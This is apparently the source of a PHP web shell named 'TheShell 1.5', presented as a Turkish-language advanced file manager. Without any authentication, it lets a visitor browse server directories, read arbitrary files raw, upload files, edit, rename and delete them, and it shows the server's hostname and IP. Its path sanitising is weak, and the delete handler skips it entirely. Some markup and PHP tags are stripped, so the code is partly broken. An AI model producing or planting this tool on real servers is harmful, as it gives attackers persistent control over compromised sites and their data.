// Set unlimited time limit for the script execution
set_time_limit(0);

// Report all PHP errors
error_reporting(E_ALL);

// Set the content type to HTML with UTF-8 encoding
header('Content-Type: text/html; charset=UTF-8');

// Define a function to sanitize directory paths
function cleanPath($path) {
$path = str_replace(["..", "//", "\\", ":"], "", $path); // Daha güçlü temizlik
return rtrim(filter_var($path, FILTER_SANITIZE_URL), '/');
}

$currentPath = cleanPath(isset($_GET['path']) ? $_GET['path'] : getcwd());

if (isset($_GET['filesrc']) && $_GET['raw'] == 'true') {
$fileToView = $currentPath . '/' . cleanPath($_GET['filesrc']);
if (file_exists($fileToView) && is_file($fileToView) && is_readable($fileToView)) {
header('Content-Type: text/plain');
readfile($fileToView);
exit;
} else {
echo "Dosya bulunamadı veya okunamıyor.";
exit;
}
}


// Handles file upload logic
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['files'])) {
$uploadDir = $currentPath . '/'; // Current directory is used as the upload directory

foreach ($_FILES['files']['tmp_name'] as $key => $tmpName) {
$filename = basename($_FILES['files']['name'][$key]);
$targetFile = $uploadDir . $filename;

if (move_uploaded_file($tmpName, $targetFile)) {
echo "<p>File successfully uploaded: {$filename}</p>";
} else {
echo "<p>Failed to upload file: {$filename}</p>";
}
}
exit;
}



if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['saveEdit']) && isset($_POST['editFile']) && isset($_POST['editContent'])) {
$fileToSave = cleanPath($_POST['editFile']); // Sanitize file path
$filePath = $currentPath . '/' . $fileToSave; // Construct full file path
if (file_put_contents($filePath, $_POST['editContent']) !== false) {
echo "<p>File successfully saved: " . htmlspecialchars($fileToSave) . "</p>";
} else {
echo "<p>Failed to save file: " . htmlspecialchars($fileToSave) . "</p>";
}
}

// Delete a file
if (isset($_GET['delete'])) {
$fileToDelete = $currentPath . '/' . $_GET['delete'];

// Check if the file exists and is a regular file
if (file_exists($fileToDelete) && is_file($fileToDelete)) {
// Attempt to delete the file
if (unlink($fileToDelete)) {
echo "<p>File successfully deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
} else {
echo "<p>Failed to delete file: " . htmlspecialchars($_GET['delete']) . "</p>";
}
} else {
echo "<p>File not found or is not a regular file: " . htmlspecialchars($_GET['delete']) . "</p>";
}
}

// Rename a file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['oldName']) && isset($_POST['newName'])) {
$oldName = cleanPath($currentPath . '/' . $_POST['oldName']);
$newName = cleanPath($currentPath . '/' . $_POST['newName']);
if (rename($oldName, $newName)) {
echo "<p>File successfully renamed from " . htmlspecialchars($oldName) . " to " . htmlspecialchars($newName) . ".</p>";
} else {
echo "<p>Failed to rename file.</p>";
}
}




<!DOCTYPE html>
<html lang="tr">

<meta charset="UTF-8">
Gelişmiş Dosya Yöneticisi <title>Gelişmiş Dosya Yöneticisi</title>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<style>
table {
width: 70%;
border-collapse: collapse;
margin: 20px auto;
}

th, td {
padding: 8px;
text-align: left;
border-bottom: 1px solid #ddd;
}

tr:hover {
background-color: #f5f5f5;
}

.btn {
margin-right: 5px;
padding: 6px 10px;
font-size: 14px;
}

/* Tablo stilleri */
table th, table td {
border: 1px solid #ddd;
padding: 8px;
}

table th {
background-color: #f2f2f2;
}

/* Düğme stilleri */
.btn {
background-color: #4CAF50;
color: white;
border: none;
cursor: pointer;
border-radius: 4px;
}

.btn-danger {
background-color: #f44336;
}

.btn-primary {
background-color: #008CBA;
}

.btn:hover {
background-color: #45a049;
}

/* Dosya düzenleme formu stilleri */
#editForm {
display: none;
padding: 10px;
border: 1px solid #ddd;
margin-top: 10px;
}
</style>



<div class="navbar">


<div class="upload-btn-wrapper">
<button class="btn">Yükle</button>

</div>

<div id="progress"></div>

$hostname = gethostname();
$ip_address = gethostbyname($hostname);
echo "Server Name: " . $hostname . " Server Ip Adress: " . $ip_address . " ";



// Dizin navigasyonu için bağlantılar
echo '<div class="path-navigation">';
$parts = explode('/', trim($currentPath, '/'));
$pathAccum = '';
for ($i = 0; $i < count($parts); $i++) {
if (!empty($parts[$i])) {
$pathAccum .= '/' . $parts[$i];
echo '<a href="?path=' . urlencode($pathAccum) . '">' . htmlspecialchars($parts[$i]) . '</a> / ';
}
}
echo '</div>';
// Dizin içeriğini al
$filesAndDirs = array_diff(scandir($currentPath, SORT_ASC), array('..', '.'));

// Klasörleri ve dosyaları ayırma
$directories = [];
$files = [];

foreach ($filesAndDirs as $item) {
$fullPath = $currentPath . '/' . $item;
if (is_dir($fullPath)) {
$directories[] = $item;
} else {
$files[] = $item;
}
}

echo '';
echo "<th>Dosya/Dizin Adı</th><th>Tür</th><th>Boyut</th><th>En Son Düzenlenme</th><th>Yazılabilir</th><th>Dosya Sahibi</th><th>İşlemler</th>";

// Klasörleri gösterme
foreach ($directories as $item) {
$fullPath = $currentPath . '/' . $item;

echo "";
echo "";

// Dosya bilgileri
$fileType = 'Dizin';
$fileSize = '';
$lastModified = '';
$isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
$owner = '';

echo "";
echo "";
echo "";
echo "";
echo "";

// İşlemler
echo "";
echo "";
}

// Dosyaları gösterme
foreach ($files as $item) {
$fullPath = $currentPath . '/' . $item;

echo "";
echo "";

// Dosya bilgileri
$fileType = mime_content_type($fullPath);
$fileSize = filesize($fullPath);
$lastModified = date("Y-m-d H:i:s", filemtime($fullPath));
$isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
$owner = posix_getpwuid(fileowner($fullPath))['name'];

echo "";
echo "";
echo "";
echo "";
echo "";

// İşlemler
echo "";
echo "";
}
echo '
";
echo '<i class="fa fa-folder"></i> ';
echo '<a href="?path=' . urlencode($fullPath) . '">' . htmlspecialchars($item) . '</a>';
echo "
$fileType$fileSize$lastModified$isWritable$owner ";
// "Yeniden Adlandır" butonu
echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';

// Klasör için "Sil" butonu
$deleteConfirmation = "Bu klasörü silmek istediğinize emin misiniz?";
$deleteUrl = htmlspecialchars($_SERVER['PHP_SELF']) . "?delete=" . urlencode(basename($fullPath)) . "&path=" . urlencode($currentPath);
echo '<button class="btn btn-danger" onclick="return confirm(\'' . $deleteConfirmation . '\') ? window.location.href=\'' . $deleteUrl . '\' : \'\'">Sil</button>';

echo "
";
echo '<i class="fa fa-file"></i> ';
echo '<a href="#" onclick="openEditForm(\'' . addslashes($item) . '\'); openModal(\'' . addslashes($fullPath) . '\')" class="btn btn-primary">' . htmlspecialchars($item) . '</a>';
echo "
$fileType$fileSize$lastModified$isWritable$owner ";
// "Yeniden Adlandır" butonu
echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';

// Dosya için "Sil" butonu ve "Düzenle" butonu
$deleteConfirmation = "Bu dosyayı silmek istediğinize emin misiniz?";
$deleteUrl = htmlspecialchars($_SERVER['PHP_SELF']) . "?delete=" . urlencode(basename($fullPath)) . "&path=" . urlencode($currentPath);
echo '<button class="btn btn-danger" onclick="return confirm(\'' . $deleteConfirmation . '\') ? window.location.href=\'' . $deleteUrl . '\' : \'\'">Sil</button>';
echo '<button class="btn btn-primary" onclick="openEditForm(\'' . addslashes($item) . '\')">Düzenle</button>';

echo "
';



<div id="editForm" style="display:none;">

Dosya Düzenle



<textarea name="editContent" id="editContent" style="width: 100%; height: 300px;"></textarea>



</div>

<script>
function openEditForm(filename) {
var xhr = new XMLHttpRequest();
xhr.open("GET", " echo htmlspecialchars($_SERVER['PHP_SELF']); ?filesrc=" + encodeURIComponent(filename) + "&raw=true&path= echo urlencode($currentPath); ", true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById("editContent").value = xhr.responseText;
document.getElementById("editFile").value = filename;
document.getElementById("editForm").style.display = "block";
} else {
alert("Dosya yüklenirken bir hata oluştu: " + xhr.statusText);
}
};
xhr.onerror = function () {
alert("AJAX request failed.");
};
xhr.send();
}
</script>
<script>
document.getElementById('file-input').addEventListener('change', function (e) {
var formData = new FormData();
for (var i = 0; i < this.files.length; i++) {
formData.append('files[]', this.files[i]);
}

var xhr = new XMLHttpRequest();
xhr.open('POST', ' echo htmlspecialchars($_SERVER['PHP_SELF']); ?path= echo urlencode($currentPath); ', true);
xhr.upload.addEventListener('progress', function (e) {
if (e.lengthComputable) {
var percent = Math.round((e.loaded / e.total) * 100);
document.getElementById('progress').innerHTML = percent + '% uploaded';
}
});

xhr.onload = function () {
if (this.status === 200) {
document.getElementById('progress').innerHTML = 'Upload complete';
} else {
document.getElementById('progress').innerHTML = 'Upload failed';
}
};

xhr.send(formData);
});

function openRenamePrompt(oldName) {
var newName = prompt("Enter new name:", oldName);
if (newName && newName !== oldName) {
var form = document.createElement("form");
form.method = "POST";
form.action = " echo htmlspecialchars($_SERVER['PHP_SELF']); ?path= echo urlencode($currentPath); ";

var oldNameInput = document.createElement("input");
oldNameInput.type = "hidden";
oldNameInput.name = "oldName";
oldNameInput.value = oldName;
form.appendChild(oldNameInput);

var newNameInput = document.createElement("input");
newNameInput.type = "hidden";
newNameInput.name = "newName";
newNameInput.value = newName;
form.appendChild(newNameInput);

document.body.appendChild(form);
form.submit();
}
}
</script>
<div class="footer">
TheShell 1.5 / Since 2024
</div>